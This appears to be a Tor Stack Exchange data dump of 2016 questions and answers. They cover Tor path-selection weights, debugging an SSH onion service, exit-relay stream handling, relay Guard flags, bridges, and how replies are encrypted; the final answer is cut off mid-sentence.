  <row Id="10295" PostTypeId="1" CreationDate="2016-04-28T17:12:46.437" Score="2" ViewCount="714" Body="&lt;p&gt;Can anybody explain how path selection is done in Tor because the man page fail to specify in detail on how certain probabilities are calculated etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the man page there are a set of equations: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Wgg*G + Wgd*D == M + Wmd*D + Wme*E + Wmg*G  (guard bw = middle bw)&#xA;Wgg*G + Wgd*D == Wee*E + Wed*D              (guard bw = exit bw)&#xA;Wed*D + Wmd*D + Wgd*D == D                  (aka: Wed+Wmd+Wdg = 1)&#xA;Wmg*G + Wgg*G == G                          (aka: Wgg = 1-Wmg)&#xA;Wme*E + Wee*E == E                          (aka: Wee = 1-Wme)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to know the reasoning behind them?&lt;/p&gt;&#xA;" OwnerUserId="12161" LastEditorUserId="88" LastEditDate="2016-04-29T08:38:19.437" LastActivityDate="2016-04-29T14:31:13.597" Title="How is Path Selection done in Tor?" Tags="|circuit|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10296" PostTypeId="1" CreationDate="2016-04-29T04:34:00.220" Score="5" ViewCount="2560" Body="&lt;p&gt;So before I flew several thousand miles away I installed Tor on my computer and setup a SSH hidden service. I sat upstairs and could access the machine through tor using a SSH config file and also locally (i.e. &lt;code&gt;ssh [username]@192.168.100.118&lt;/code&gt;). (Because I didn't want to relive rlogging in to a machine across the Atlantic watching keystrokes appear on my terminal with the speed they did 20+ years ago.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both worked beautifully. Now I took my flight. Unfortunately I'm limited to public access points. I don't know if that is the issue. I'm getting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nc: connection failed, SOCKS error 4.&#xA;ssh_exchange_identification: Connection closed by remote host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Googling the first led me to a site which indicated SOCKS error 4 is &quot;Host unreachable.&quot; I tried two things, both yielded the above results:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;ssh [hostname]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;ssh [username]@[hostname]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;.ssh/config&lt;/code&gt; file reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host [hostname]&#xA;    HostName [.onion address]&#xA;    Compression yes&#xA;    Ciphers arcfour256,blowfish-cbc&#xA;    ProxyCommand nc -xlocalhost:9050 -X5 %h %p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used a local coffee shop and the public library. In a few weeks I'll be at a very low speed location (satellite link)... but should have complete access to the router. But the Tor browser seems to work without issue which makes me question if it's the router. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any words of advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Jens I actually did that shortly after posting and I didn't see anything, but I'm not sure exactly what to look for. Here is the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OpenSSH_6.6, OpenSSL 1.0.1f 6 Jan 2014&#xA;debug1: Reading configuration data /home/nolan/.ssh/config&#xA;debug1: /home/nolan/.ssh/config line 1: Applying options for [hostname]&#xA;debug3: ciphers ok: [arcfour256,blowfish-cbc]&#xA;debug1: Reading configuration data /etc/ssh/ssh_config&#xA;debug1: /etc/ssh/ssh_config line 19: Applying options for *&#xA;debug1: Hostname has changed; re-reading configuration&#xA;debug1: Reading configuration data /home/nolan/.ssh/config&#xA;debug3: ciphers ok: [arcfour256,blowfish-cbc]&#xA;debug1: Reading configuration data /etc/ssh/ssh_config&#xA;debug1: /etc/ssh/ssh_config line 19: Applying options for *&#xA;debug1: Executing proxy command: exec nc -xlocalhost:9050 -X5 [my address].onion 22&#xA;debug1: permanently_drop_suid: 1000&#xA;debug1: identity file /home/nolan/.ssh/id_rsa type -1&#xA;debug1: identity file /home/nolan/.ssh/id_rsa-cert type -1&#xA;debug1: identity file /home/nolan/.ssh/id_dsa type -1&#xA;debug1: identity file /home/nolan/.ssh/id_dsa-cert type -1&#xA;debug1: identity file /home/nolan/.ssh/id_ecdsa type -1&#xA;debug1: identity file /home/nolan/.ssh/id_ecdsa-cert type -1&#xA;debug1: identity file /home/nolan/.ssh/id_ed25519 type -1&#xA;debug1: identity file /home/nolan/.ssh/id_ed25519-cert type -1&#xA;debug1: Enabling compatibility mode for protocol 2.0&#xA;debug1: Local version string SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1&#xA;nc: connection failed, SOCKS error 4&#xA;ssh_exchange_identification: Connection closed by remote host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;127.0.0.1&lt;/code&gt; or &lt;code&gt;localhost&lt;/code&gt; did not seem to affect anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My local log file for today:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 29 14:29:14.000 [notice] Tor 0.2.4.27 (git-412e3f7dc9c6c01a) opening log file.&#xA;Apr 29 14:29:14.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Apr 29 14:29:14.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Apr 29 14:29:16.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Apr 29 14:29:16.000 [warn] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Network is unreachable; NOROUTE; count 1; recommendation warn)&#xA;Apr 29 14:29:16.000 [notice] We now have enough directory information to build circuits.&#xA;Apr 29 14:29:16.000 [notice] Bootstrapped 80%: Connecting to the Tor network.&#xA;Apr 29 14:29:16.000 [warn] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Network is unreachable; NOROUTE; count 2; recommendation warn)&#xA;Apr 29 14:29:17.000 [warn] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Network is unreachable; NOROUTE; count 3; recommendation warn)&#xA;Apr 29 14:29:17.000 [warn] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Network is unreachable; NOROUTE; count 4; recommendation warn)&#xA;Apr 29 14:29:17.000 [warn] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Network is unreachable; NOROUTE; count 5; recommendation warn)&#xA;Apr 29 14:29:19.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.&#xA;Apr 29 14:29:20.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.&#xA;Apr 29 14:29:21.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Apr 29 14:29:21.000 [notice] Bootstrapped 100%: Done.&#xA;Apr 29 14:32:43.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;Apr 29 14:33:05.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;Apr 29 14:34:04.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;Apr 29 14:41:45.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;Apr 29 14:50:04.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have another service running on that computer which I can check in a few hours (timezones...). I would just ssh in and would &lt;code&gt;cat hostname&lt;/code&gt; to get the address but... not an option now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One question I have is... I used the authentication initially. When I removed it the &lt;code&gt;hostname&lt;/code&gt; and key files were overwritten with new values. Is this a possibility? I thought they would remain the same.&lt;/p&gt;&#xA;" OwnerUserId="12078" LastEditorUserId="12078" LastEditDate="2016-04-29T20:15:36.007" LastActivityDate="2016-04-30T04:12:43.160" Title="Can't access tor hidden service remotely, worked locally" Tags="|onion-services|ssh|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10297" PostTypeId="1" CreationDate="2016-04-29T07:31:32.633" Score="2" ViewCount="143" Body="&lt;p&gt;A Tor exit node communicating with a high volume web server may be sending streams from multiple Tor clients to that web server at the same time.  If the clients used the Tor browser there should be no identifying data sent to the web server. The exit node keeps state for each client and its Tor path.  When the web server sends its response, how will he Tor exit node recognize which stream the response belongs to?  More specifically, what piece of data in the response will allow the Tor exit node to identify the appropriate Tor path and client?&lt;/p&gt;&#xA;" OwnerUserId="12686" LastActivityDate="2017-02-06T20:32:01.963" Title="How does the exit node recognize which response from a server is tied to which request?" Tags="|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10298" PostTypeId="2" ParentId="10297" CreationDate="2016-04-29T09:35:12.373" Score="1" Body="&lt;p&gt;The Tor software maintains status information about the circuits. So this means if Alice and Bob are connecting to the same webpage via the same exit relay, Tor sends the correct data back to Alice and Bob. Tor on the other side uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Transmission_Control_Protocol&quot; rel=&quot;nofollow&quot;&gt;TCP&lt;/a&gt; to communicate with the web site. The Tor exit relay opens a port on the local machine (e.g. port 34567) and connects to the port where the webserver lives (usually port 80 or 443). When they're connected Tor asks for the webpage and the webserver transmits the content to port 34567. As Tor has two separate circuits for Alice and Bob, it will also open two distinct ports where it sends and receives data. Thatswhy the data from Alice and Bob would never mix up.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-04-29T09:35:12.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10299" PostTypeId="2" ParentId="7575" CreationDate="2016-04-29T09:56:00.170" Score="0" Body="&lt;p&gt;You can use your computer in a way like you were sitting directly in front of it. What does this mean for your setup? You connect to your computer via Tor and your computer is set up in a a way that all outbound connections are done without Tor. When you now open a connection from your computer to some other website, chat or anything else, this is done without Tor. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-04-29T09:56:00.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10300" PostTypeId="1" AcceptedAnswerId="10302" CreationDate="2016-04-29T12:43:42.170" Score="0" ViewCount="372" Body="&lt;p&gt;I am wondering what does the TOR speed depend on. I tried using TOR on 2 different wifi networks. One is 20Mbps and the other is 10Mbps. Both times i got the same speed trough TOR. My question is does TOR provide your with better bandwidth if your internet speed is faster or does everybody get the same speed?&lt;/p&gt;&#xA;" OwnerUserId="7696" LastActivityDate="2016-04-29T14:12:23.473" Title="What Does Tor Speed Depend On?" Tags="|tor-browser-bundle|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10301" PostTypeId="2" ParentId="7575" CreationDate="2016-04-29T14:04:47.467" Score="2" Body="&lt;p&gt;Yes, all three cases :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can a HS(Hidden Service) itself connect to clearnet&lt;/strong&gt; - Yes, in your case it can. Tor is &lt;em&gt;just&lt;/em&gt; a transport layer, so after it has forwarded your query to the HS port - like &lt;a href=&quot;http://stunnel.org&quot; rel=&quot;nofollow&quot;&gt;STunnel&lt;/a&gt; - Tor's job is &lt;strong&gt;done&lt;/strong&gt;. And if there's a clearnet exit and no firewall rules prohibition - the server &lt;em&gt;implementing the HS service itself&lt;/em&gt; can connect to clearnet just like usual.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can a HS be your tunnel to clearnet if you've connected to it through Tor&lt;/strong&gt; - Sure! Use &lt;a href=&quot;https://openvpn.net/&quot; rel=&quot;nofollow&quot;&gt;OpenVPN&lt;/a&gt; in TCP mode, put the &lt;em&gt;VPN server's port&lt;/em&gt; as a HS provided via Tor, and release the whole traffic to and/or from clearnet from the host your HS VPN server running at.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can all the outbound connections be served via Tor&lt;/strong&gt; - Just a firewall magic : route all the traffic &lt;strong&gt;except SSH and Tor&lt;/strong&gt; via TransPort of Tor. Ssh and tor services' traffic is better separated by user ID/name in iptables at least.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-29T14:04:47.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10302" PostTypeId="2" ParentId="10300" CreationDate="2016-04-29T14:12:23.473" Score="0" Body="&lt;p&gt;A &quot;torified&quot; traffic speed depends on :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Of course, your WAN connection speed, but also to the number of connections available at the same time - including your OS settings. In Linux/Unix tune your buffers also!&lt;/li&gt;&#xA;&lt;li&gt;An exit/entry node speed/latency/load - you better configure your Tor instance to pick a close/fast countries by putting their names in a curlies. Don't forget a &lt;code&gt;StrictNodes 1&lt;/code&gt; line in your torrc!&lt;/li&gt;&#xA;&lt;li&gt;Your CPU single-core speed - yes, Tor's crypto is single-core/thread, sadly. Also a RAM-CPU speed &lt;em&gt;does&lt;/em&gt; matter by the very same reason&lt;/li&gt;&#xA;&lt;li&gt;Ability to do a port forwarding, i.e. &lt;code&gt;ORPort 443&lt;/code&gt; for example in your torrc &lt;strong&gt;and&lt;/strong&gt; make this port reachable from outside. If you're making your Tor a middle node, it's speed improves, checked it myself.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-29T14:12:23.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10303" PostTypeId="2" ParentId="10295" CreationDate="2016-04-29T14:31:13.597" Score="1" Body="&lt;p&gt;Route calculations are based around the available bandwidth of each of the candidate nodes for a given circuit. In the formulae in your question, &lt;code&gt;W&lt;/code&gt; is the weight ascribed to a given node, with full decodes being shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   List of optional weights to apply to router bandwidths during path&#xA;   selection. They are sorted in lexical order (as ASCII byte strings) and&#xA;   values are divided by the consensus' &quot;bwweightscale&quot; param. Definition&#xA;   of our known entries are...&#xA;&#xA;     Wgg - Weight for Guard-flagged nodes in the guard position&#xA;     Wgm - Weight for non-flagged nodes in the guard Position&#xA;     Wgd - Weight for Guard+Exit-flagged nodes in the guard Position&#xA;&#xA;     Wmg - Weight for Guard-flagged nodes in the middle Position&#xA;     Wmm - Weight for non-flagged nodes in the middle Position&#xA;     Wme - Weight for Exit-flagged nodes in the middle Position&#xA;     Wmd - Weight for Guard+Exit flagged nodes in the middle Position&#xA;&#xA;     Weg - Weight for Guard flagged nodes in the exit Position&#xA;     Wem - Weight for non-flagged nodes in the exit Position&#xA;     Wee - Weight for Exit-flagged nodes in the exit Position&#xA;     Wed - Weight for Guard+Exit-flagged nodes in the exit Position&#xA;&#xA;     Wgb - Weight for BEGIN_DIR-supporting Guard-flagged nodes&#xA;     Wmb - Weight for BEGIN_DIR-supporting non-flagged nodes&#xA;     Web - Weight for BEGIN_DIR-supporting Exit-flagged nodes&#xA;     Wdb - Weight for BEGIN_DIR-supporting Guard+Exit-flagged nodes&#xA;&#xA;     Wbg - Weight for Guard flagged nodes for BEGIN_DIR requests&#xA;     Wbm - Weight for non-flagged nodes for BEGIN_DIR requests&#xA;     Wbe - Weight for Exit-flagged nodes for BEGIN_DIR requests&#xA;     Wbd - Weight for Guard+Exit-flagged nodes for BEGIN_DIR requests&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The algorithms used, together with the constraints placed on them, are explained in great detail in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor directory protocol&lt;/a&gt; document. I'd recommend taking a look at section &quot;3.8.3. Computing Bandwidth Weights&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[The above list of decodes can be found in &quot;3.4.1. Vote and consensus status document formats&quot;.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The algorithms don't really lend themselves to concise explanations, so I won't go into further details here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see the code, have a look at &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/dirvote.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;./src/or/dirvote.c&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-04-29T14:31:13.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10304" PostTypeId="2" ParentId="8668" CreationDate="2016-04-29T17:30:40.200" Score="0" Body="&lt;p&gt;In addition to what &lt;a href=&quot;https://tor.stackexchange.com/users/78/yawning-angel&quot;&gt;Yawning Angel&lt;/a&gt; already wrote:&#xA;You should select a pluggable transport like &lt;a href=&quot;https://bridges.torproject.org/bridges?transport=obfs4&quot; rel=&quot;nofollow&quot;&gt;obfs4 from BridgeDB&lt;/a&gt;. This method is quite censor-ship resistant and often not blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides from visiting the website you can also write a mail to bridges@torproject.org from a RiseUp, GMail or Yahoo! address with the subject &lt;em&gt;get transport obfs4&lt;/em&gt;. The BridgeDB will send you some bridge addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the Tor browser you click on the green onion and select the Tor network settings. When you check &quot;My ISP blocks connections …&quot; a submenu will open and you can paste the bridge lines there. Tor Browser will try to use the pluggable transport and you are able to use the net again.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-04-29T17:30:40.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10306" PostTypeId="1" CreationDate="2016-04-29T20:54:36.540" Score="1" ViewCount="3555" Body="&lt;p&gt;I know that by default all traffic is routed trough TOR, but can my IP leak when using Tails? What i mean is, for example, my machine gets hacked while using Tails and somebody who hacked me wants to find out my IP. Excluding MAC address wifi network name and other identifiers can the attacker find out my IP or does Tails secure/hide it?&#xA;EDIT: Also excluding TOR attacks/vulnerabilities (timing attacks, checking packet size at ISP/Entry Node and Exit etc.).&lt;/p&gt;&#xA;" OwnerUserId="7696" LastActivityDate="2016-04-29T20:54:36.540" Title="Can Tails Leak My IP?" Tags="|anonymity|tails|deanonymization|ip-address|ip-address-leak|" AnswerCount="0" CommentCount="5" ClosedDate="2016-05-02T09:32:48.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="10308" PostTypeId="1" CreationDate="2016-03-11T19:40:39.093" Score="0" ViewCount="30" Body="&lt;p&gt;I have client and server software. They use single TCP-IP port to send data between client and server. Both made for Ubuntu. Both of them can not use socks proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use Tor to hide server's IP from clients. And I need solution without modification of app's source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all I can launch hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand server software should not be modified to support Tor incoming connections. I just add HiddenServicePort instruction in torrc file on the server and traffic will be redirected to the server app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I setup client side to connect to the hidden service?&#xA;I can set up redirection of all outgoing traffic to the Tor (i.e. Transparent proxy).&#xA;But client software needs to &quot;resolve&quot; .onion address. Can this be done without modification of client software? Any configuration of the Tor/Ubuntu is possible.&lt;/p&gt;&#xA;" OwnerUserId="12106" OwnerDisplayName="Victor Mezrin" LastActivityDate="2016-04-29T23:53:10.587" Title="Make client software connect to the hidden service without modification of source code" Tags="|support|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10310" PostTypeId="2" ParentId="10296" CreationDate="2016-04-30T04:12:43.160" Score="1" Body="&lt;p&gt;I'm saddened by the solution. It was on the hidden service side. I made a vanity name/key and copied it into my blog hidden service folder, overwriting the originals. I'm guessing I never ssh'ed in after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Took 100 minutes over the phone, texting screen pics, etc. Basically attempted to reset permissions to &lt;code&gt;-rw-------&lt;/code&gt; from &lt;code&gt;-rw-rw-r--&lt;/code&gt;. I'm not sure what happened on the other side. This didn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked that the files in the directory be deleted.  I restarted tor and let tor create it's own address &amp;amp; key. This worked.&lt;/p&gt;&#xA;" OwnerUserId="12078" LastActivityDate="2016-04-30T04:12:43.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10311" PostTypeId="1" CreationDate="2016-04-30T06:36:17.957" Score="2" ViewCount="759" Body="&lt;p&gt;Also, im not getting the stable flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'v been online for about a month.&#xA;20.april I switched from win to linux.&#xA;I've had some restarts of the relay, but not long downtimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my fingerprint:&#xA;2AEB4E9200617CAE465AC789789675CBF336CAE2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anyone have time to look into this? Thanks. :)&lt;/p&gt;&#xA;" OwnerUserId="12697" LastActivityDate="2016-05-12T02:58:39.787" Title="I'm not getting guard flag. Whats the requirements for that?" Tags="|configuration|relays|help|guard|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10312" PostTypeId="2" ParentId="10311" CreationDate="2016-04-30T08:57:31.493" Score="3" Body="&lt;p&gt;Consider that your relay is new, since its uptime is about 2 days.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Directory authorities assign the Guard flag to relays based on three&#xA;  characteristics: &quot;bandwidth&quot; (they need to have a large enough consensus &#xA;  weight), &quot;weighted fractional uptime&quot; (they need to be working most of the &gt; time), and &quot;time known&quot; (to make attacks more expensive, we don't want to &gt; give the Guard flag to relays that haven't been around a while first). &#xA;  This last characteristic is most relevant here: on today's Tor network, &#xA;  you're first eligible for the Guard flag on day eight.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more information please see &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2016-04-30T08:57:31.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10313" PostTypeId="1" CreationDate="2016-04-30T17:30:30.477" Score="1" ViewCount="795" Body="&lt;p&gt;I installed tor, then wanted to configure my firefox browser to work with tor.  I had to do this as to use python/firefox anonymously to scrape data.  I was successfully able to use tor through firefox.  After wanting to go back to normal internet, I changed Configure Proxies to Access the Internet back to No Proxy, and now my internet wont work at all.  I cant connect to the internet through my terminal or firefox.  It will only work if I set SOCKS Host = 127.0.0.1 and Port back to 9150.  Any advice?  Chrome doesnt work at all either ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im on ubuntu 16.04&lt;/p&gt;&#xA;" OwnerUserId="12702" LastEditorUserId="12702" LastEditDate="2016-04-30T17:35:48.223" LastActivityDate="2016-04-30T17:47:27.200" Title="Internet only works with tor enabled" Tags="|firefox|network-configuration|dns|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10314" PostTypeId="2" ParentId="10313" CreationDate="2016-04-30T17:47:27.200" Score="1" Body="&lt;p&gt;I was able to resolve this by refreshing my dhcp through the terminal..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo dhclient -r  #refreshed ip&#xA;sudo dhclient  # restarted ip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12702" LastActivityDate="2016-04-30T17:47:27.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10315" PostTypeId="1" CreationDate="2016-04-30T17:48:54.880" Score="1" ViewCount="292" Body="&lt;p&gt;This is what I get on my screen when trying to load tor:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor browser already running but not responding. The old tor browser process must be closed to open a new window.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I click on the message, now it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your tor browser profile cannot be loaded, may be missing or&#xA;  inaccessible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe I deleted something by accident?&lt;/p&gt;&#xA;" OwnerUserId="12637" LastEditorUserId="31632" LastEditDate="2021-05-28T22:18:30.407" LastActivityDate="2021-05-28T22:18:30.407" Title="Can't load tor browser" Tags="|tor-browser-bundle|help|error|" AnswerCount="0" CommentCount="1" ClosedDate="2021-05-29T17:28:12.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="10316" PostTypeId="1" CreationDate="2016-04-30T18:08:41.473" Score="0" ViewCount="1505" Body="&lt;p&gt;If a Tor browser makes a request of a server on the Internet, it will be encrypted several times by the Tor browser before it leaves the client.  The destination server, however, will receive only the message that the user input to the client (with or without TLS encryption).  When that server replies it will only encrypt if a secure connection was established.  When the server's reply enters the Tor system will the Tor system encrypt in reverse order or send the reply using reverse headers without encryption?  Assuming the Tor nodes have retained state regarding their successor and predecessor nodes they have enough information to simply reverse the headers and do not need to use encryption to return the reply without exposing the complete path.  This approach, however, could leave the response message in the clear as it transits the Tor system and that would be a serious security hole to the client's anonymity.&lt;/p&gt;&#xA;" OwnerUserId="12686" LastActivityDate="2016-04-30T19:10:33.057" Title="Is a server's response to a Tor browser query encrypted by the Tor nodes when it transits the Tor circuit in the reverse direction?" Tags="|anonymity|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10317" PostTypeId="1" CreationDate="2016-04-30T18:37:19.570" Score="4" ViewCount="2518" Body="&lt;p&gt;I want to set my phone up in such a way that it won't connect to the internet before Tor (Orbot) has established a connection. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="10743" LastActivityDate="2016-09-28T12:21:02.067" Title="Orbot: Prevent phone from connecting to the Internet without Tor?" Tags="|orbot|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10318" PostTypeId="2" ParentId="10316" CreationDate="2016-04-30T19:10:33.057" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If a Tor browser makes a request of a server on the Internet, it will&#xA;  be encrypted several times by the Tor browser before it leaves the&#xA;  client.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct. Once for each Tor relay, which is a default of 3. As it passes to each relay, one of the layers of encryption is removed, like an onion being peeled.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The destination server, however, will receive only the message that&#xA;  the user input to the client (with or without TLS encryption). When&#xA;  that server replies it will only encrypt if a secure connection was&#xA;  established.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct. Which is why the Tor Browser, at least, attempts to enforce the use of &lt;a href=&quot;https://www.eff.org/https-everywhere%20&quot; rel=&quot;nofollow&quot;&gt;HTTPS Everywhere&lt;/a&gt;, and blocks connections to sites that don't support HTTPS/TLS. If you're just using the Tor client, rather than the Browser, then it's up to you and the server to negotiate security (or not).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the server's reply enters the Tor system will the Tor system&#xA;  encrypt in reverse order or send the reply using reverse headers&#xA;  without encryption?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The response is encrypted in the same way as the request, with 3 layers. However, in this case the layers of encryption are added back on, like an onion having its peel put back on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a read of these previous threads:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/4958/how-is-data-sent-back-from-exit-node-to-me?rq=1&quot;&gt;How is data sent back from exit node to me?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1277/do-all-relays-in-a-circuit-encrypt-data-response-from-a-server?rq=1&quot;&gt;Do all relays in a circuit encrypt data response from a server?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Assuming the Tor nodes have retained state regarding their successor&#xA;  and predecessor nodes they have enough information to simply reverse&#xA;  the headers and do not need to use encryption to return the reply&#xA;  without exposing the complete path.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The encryption is required to prevent the operators of the Tor nodes - who may be Bad People - from eavesdropping on your data. (Which may or may not have any additional TLS encryption.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This approach, however, could leave the response message in the clear&#xA;  as it transits the Tor system and that would be a serious security&#xA;  hole to the client's anonymity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It would, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at this &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;handy EFF/Tor infographic&lt;/a&gt;. It doesn't differentiate between forward and back communication, but gives you an idea of who can see with regards to your 